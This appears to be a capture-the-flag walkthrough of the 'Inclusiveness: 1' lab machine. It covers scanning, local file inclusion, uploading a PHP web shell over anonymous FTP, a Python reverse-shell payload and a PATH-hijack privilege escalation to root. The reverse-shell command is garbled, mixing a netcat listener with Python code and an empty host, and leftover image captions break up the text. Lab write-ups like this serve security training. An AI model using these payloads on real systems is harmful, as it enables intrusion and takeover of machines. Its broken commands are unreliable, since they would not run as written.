Network Scanning

Our First Step is Finding our Target IP address I run the netdiscover our local network

inclusiveness: 1 walkthrough

We found target Ip address our second step is scanning the target port and services with Nmap Aggressive Scan

nmap -A
inclusiveness: 1 walkthrough


we see the target many ports are open port 21 FTP, 22 SSH, 80 http now opening the target IP our browser and we see Apache2 Debian Default Page.

After enumeration, I found robots.txt file and we see our first hint message You are not a search engine!

I already install firefox extension user agent switcher and I create a custom userAgent GoogleBot and click apply button

inclusiveness: 1 walkthrough

After changing our user agent refresh the page and we see Disallow directory /secret_information/
inclusiveness: 1 walkthrough

So, we’ve explored /secret_information, it brings a web page that describes “DNS Zone Transfer Attack” and the web page contains two hyperlinks “English & Spanish.”

As I click on the “English” hyperlink, I found that it was calling the en.php via the lang parameter in the URL, which means that there could be possibilities for LFI.

Therefore, I try to get /etc/passwd file by abusing the php include of the webpage and as result, I got the whole contents of the /etc/passwd file as shown in the below image.

We already see the Nmap scan our target port 21 is open and anonymous user login I create a simple php backdoor payload and upload the payload our target pub directory

cat >upload.php
<?php system($_GET['shell']);?>

ls command to we pub directory is full permission any group and user create a file


cd pub
uploading our payload file
put upload.php

We then try to read the “vsftpd.conf” FTP config file by abusing LFI to enumerate the writeable directory path.
inclusiveness: 1 walkthrough

we already see the ftp pub directory vsftpd.conf file now I run the uname -a command and we see the output target kernel name version -a

As we have been successful in inducing RCE in the installed application by abusing LFI, we need to reverse shell target machine I create a Simple python socket reverse connection payload and star our natcat listener

nc -lvp 4545 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",4545));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

and we got a target system natcat reverse connection

I move in target home directory and I found a rootshell file and we see the file permission SUID bits enabled and the same directory we rootshell.c file

cd /home/tom

ls -ls rootshell

ls -ls rootshell.c

According to this piece of code if the file is executed as Tom user by calling the function for whoami program for validation then you will get a privilege shell else it will print user-ID that is currently logged in will be displayed.

cat rootshell.c

Privilege Escalation

cd /tmp

we build a file as whoami in the / tmp directory and write the following bash code to print user tom

echo "printf "tom"" > whoami

Adding executable permission whoami

chmod +x whoami

changing the target system path /tmp directory

export PATH=/tmp:$PATH
cd /home/tom

After changing the target path I run the script and we got a root shell


finally, We found our last root flag root directory

cd /root

cat flag.txt
